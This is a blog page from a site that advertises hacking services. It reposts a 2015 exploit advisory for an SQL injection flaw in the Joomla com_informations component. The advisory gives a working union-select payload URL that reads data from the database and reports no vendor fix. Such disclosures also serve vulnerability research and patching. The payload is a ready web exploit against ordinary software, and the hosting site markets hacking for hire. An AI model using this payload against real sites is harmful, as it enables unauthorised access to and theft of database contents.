Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107934

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Joomla com_informations component SQL Injection vulnerability
# Date: 13-08-2015
# Software Link: N/A
# Exploit Author: Omar AbuHassan
# Contact: https://www.linkedin.com/pub/omar-abu-hassan/bb/600/960
# CVE: N/A
# Category: webapps
# Version: All
# Tested on: Kali linux (x64) / Windows 8.1 pro (x64)
 
1. Description
   
Normal user can inject sql query in the url which lead to read data from the database.
 
2. Proof of Concept

http://[target]/index.php?option=com_informations&view=sousthemes&themeid=-3 (SQLI)

Injected column is # 3

http://[target]//index.php?option=com_informations&view=sousthemes&themeid=999.9+union+select+111,222,version()%23

** No solution yet from vendor **

#######################
# Greets to Palestine #
#######################